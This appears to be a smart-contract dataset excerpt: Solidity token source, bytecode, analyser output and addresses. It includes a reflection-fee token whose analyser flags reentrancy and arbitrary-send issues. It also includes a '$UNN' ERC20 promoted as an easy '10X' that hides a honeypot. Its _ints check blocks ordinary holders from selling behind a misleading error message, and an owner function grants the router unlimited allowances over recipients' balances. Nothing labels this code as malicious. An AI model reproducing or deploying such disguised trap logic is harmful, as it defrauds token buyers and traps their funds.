(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102d5578063c9567bf9146102ea578063d543dbeb146102ff578063dd62ed3e1461031f578063e8078d941461036557600080fd5b8063715018a6146102455780638da5cb5b1461025a57806395d89b4114610282578063a9059cbb146102b557600080fd5b8063313ce567116100d1578063313ce567146101d25780635932ead1146101ee5780636fc3eaec1461021057806370a082311461022557600080fd5b806306fdde031461010e578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260138152725368696265746f736869204e616b616d6f746f60681b60208201525b6040516101539190611b30565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611a88565b61037a565b6040519015158152602001610153565b34801561019857600080fd5b50683635c9adc5dea000005b604051908152602001610153565b3480156101be57600080fd5b5061017c6101cd366004611a48565b610391565b3480156101de57600080fd5b5060405160098152602001610153565b3480156101fa57600080fd5b5061020e610209366004611ab3565b6103fa565b005b34801561021c57600080fd5b5061020e61044b565b34801561023157600080fd5b506101a46102403660046119d8565b610478565b34801561025157600080fd5b5061020e61049a565b34801561026657600080fd5b506000546040516001600160a01b039091168152602001610153565b34801561028e57600080fd5b5060408051808201909152600a8152695348494245544f53484960b01b6020820152610146565b3480156102c157600080fd5b5061017c6102d0366004611a88565b61050e565b3480156102e157600080fd5b5061020e61051b565b3480156102f657600080fd5b5061020e610551565b34801561030b57600080fd5b5061020e61031a366004611aeb565b6105a6565b34801561032b57600080fd5b506101a461033a366004611a10565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561037157600080fd5b5061020e610679565b60006103873384846109e6565b5060015b92915050565b600061039e848484610b0a565b6103f084336103eb85604051806060016040528060288152602001611ceb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611229565b6109e6565b5060019392505050565b6000546001600160a01b0316331461042d5760405162461bcd60e51b815260040161042490611b83565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046b57600080fd5b4761047581611263565b50565b6001600160a01b03811660009081526002602052604081205461038b906112e8565b6000546001600160a01b031633146104c45760405162461bcd60e51b815260040161042490611b83565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610387338484610b0a565b600f546001600160a01b0316336001600160a01b03161461053b57600080fd5b600061054630610478565b90506104758161136c565b6000546001600160a01b0316331461057b5760405162461bcd60e51b815260040161042490611b83565b601254600160a81b900460ff1661059157600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105d05760405162461bcd60e51b815260040161042490611b83565b600081116106205760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610424565b61063e6064610638683635c9adc5dea0000084611511565b90611590565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146106a35760405162461bcd60e51b815260040161042490611b83565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106e03082683635c9adc5dea000006109e6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561071957600080fd5b505afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075191906119f4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079957600080fd5b505afa1580156107ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d191906119f4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081957600080fd5b505af115801561082d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085191906119f4565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061088181610478565b6000806108966000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108f957600080fd5b505af115801561090d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109329190611b03565b50506012805463ffff00ff60a81b198116630101000160a81b179091556753444835ec58000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e29190611acf565b5050565b6001600160a01b038316610a485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610424565b6001600160a01b038216610aa95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610424565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610424565b6001600160a01b038216610bd05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610424565b60008111610c325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610424565b6000546001600160a01b03848116911614801590610c5e57506000546001600160a01b03838116911614155b156111cc57601254600160c01b900460ff1615610d45576001600160a01b0383163014801590610c9757506001600160a01b0382163014155b8015610cb157506011546001600160a01b03848116911614155b8015610ccb57506011546001600160a01b03838116911614155b15610d45576011546001600160a01b0316336001600160a01b03161480610d0557506012546001600160a01b0316336001600160a01b0316145b610d455760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610424565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d8757506001600160a01b0382166000908152600a602052604090205460ff16155b610d9057600080fd5b6012546001600160a01b038481169116148015610dbb57506011546001600160a01b03838116911614155b8015610de057506001600160a01b03821660009081526005602052604090205460ff16155b8015610df55750601254600160c01b900460ff165b15610e7257601254600160a01b900460ff16610e1057600080fd5b601354811115610e1f57600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e4357600080fd5b610e4e42601e611c28565b6001600160a01b0383166000908152600b6020526040902055600560095560026008555b6000610e7d30610478565b601254909150600160b01b900460ff16158015610ea857506012546001600160a01b03858116911614155b8015610ebd5750601254600160b81b900460ff165b156111ca57601254610eeb9060649061063890600390610ee5906001600160a01b0316610478565b90611511565b8211158015610efc57506013548211155b610f0557600080fd5b6001600160a01b0384166000908152600c60205260409020544211610f2957600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f519062015180611c28565b1015610f71576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054610ffe576001600160a01b0384166000908152600e60205260408120805491610fb283611c96565b90915550506001600160a01b0384166000908152600d602052604090204290819055610fe090610e10611c28565b6001600160a01b0385166000908152600c602052604090205561118d565b6001600160a01b0384166000908152600e602052604090205460011415611055576001600160a01b0384166000908152600e6020526040812080549161104383611c96565b90915550610fe0905042611c20611c28565b6001600160a01b0384166000908152600e6020526040902054600214156110ac576001600160a01b0384166000908152600e6020526040812080549161109a83611c96565b90915550610fe0905042615460611c28565b6001600160a01b0384166000908152600e602052604090205460031415611103576001600160a01b0384166000908152600e602052604081208054916110f183611c96565b90915550610fe090504261a8c0611c28565b6001600160a01b0384166000908152600e60205260409020546004141561118d576001600160a01b0384166000908152600e6020526040812080549161114883611c96565b90915550506001600160a01b0384166000908152600d60205260409020546111739062015180611c28565b6001600160a01b0385166000908152600c60205260409020555b6111968161136c565b4780156111a6576111a647611263565b6001600160a01b0385166000908152600e60205260409020546111c8906115d2565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120e57506001600160a01b03831660009081526005602052604090205460ff165b15611217575060005b611223848484846115f4565b50505050565b6000818484111561124d5760405162461bcd60e51b81526004016104249190611b30565b50600061125a8486611c7f565b95945050505050565b600f546001600160a01b03166108fc61127d836002611590565b6040518115909202916000818181858888f193505050501580156112a5573d6000803e3d6000fd5b506010546001600160a01b03166108fc6112c0836002611590565b6040518115909202916000818181858888f193505050501580156109e2573d6000803e3d6000fd5b600060065482111561134f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610424565b6000611359611620565b90506113658382611590565b9392505050565b6012805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141657600080fd5b505afa15801561142a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144e91906119f4565b8160018151811061146f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260115461149591309116846109e6565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ce908590600090869030904290600401611bb8565b600060405180830381600087803b1580156114e857600080fd5b505af11580156114fc573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b6000826115205750600061038b565b600061152c8385611c60565b9050826115398583611c40565b146113655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610424565b600061136583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611643565b806008546115e09190611c60565b600855600181111561047557600a60095550565b8061160157611601611671565b61160c848484611694565b806112235761122360076008556005600955565b600080600061162d61178b565b909250905061163c8282611590565b9250505090565b600081836116645760405162461bcd60e51b81526004016104249190611b30565b50600061125a8486611c40565b6008541580156116815750600954155b1561168857565b60006008819055600955565b6000806000806000806116a6876117cd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116d8908761182a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611707908661186c565b6001600160a01b038916600090815260026020526040902055611729816118cb565b6117338483611915565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117a78282611590565b8210156117c457505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117ea8a600854600954611939565b92509250925060006117fa611620565b9050600080600061180d8e878787611988565b919e509c509a509598509396509194505050505091939550919395565b600061136583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611229565b6000806118798385611c28565b9050838110156113655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610424565b60006118d5611620565b905060006118e38383611511565b30600090815260026020526040902054909150611900908261186c565b30600090815260026020526040902055505050565b600654611922908361182a565b600655600754611932908261186c565b6007555050565b600080808061194d60646106388989611511565b9050600061196060646106388a89611511565b90506000611978826119728b8661182a565b9061182a565b9992985090965090945050505050565b60008080806119978886611511565b905060006119a58887611511565b905060006119b38888611511565b905060006119c582611972868661182a565b939b939a50919850919650505050505050565b6000602082840312156119e9578081fd5b813561136581611cc7565b600060208284031215611a05578081fd5b815161136581611cc7565b60008060408385031215611a22578081fd5b8235611a2d81611cc7565b91506020830135611a3d81611cc7565b809150509250929050565b600080600060608486031215611a5c578081fd5b8335611a6781611cc7565b92506020840135611a7781611cc7565b929592945050506040919091013590565b60008060408385031215611a9a578182fd5b8235611aa581611cc7565b946020939093013593505050565b600060208284031215611ac4578081fd5b813561136581611cdc565b600060208284031215611ae0578081fd5b815161136581611cdc565b600060208284031215611afc578081fd5b5035919050565b600080600060608486031215611b17578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611b5c57858101830151858201604001528201611b40565b81811115611b6d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c075784516001600160a01b031683529383019391830191600101611be2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c3b57611c3b611cb1565b500190565b600082611c5b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c7a57611c7a611cb1565b500290565b600082821015611c9157611c91611cb1565b500390565b6000600019821415611caa57611caa611cb1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461047557600080fd5b801515811461047557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d598b5075ee5fc96d13ad8e5775b18c54b569807d954678048e781601a864f5864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,337 |
0xe307bcaa460d83baa6452784461593d7a537a047 | //----------------------------------------
//|_| |\| |\|
//Website:https://unn.fund
//10X on $UNN easy!!
//----------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673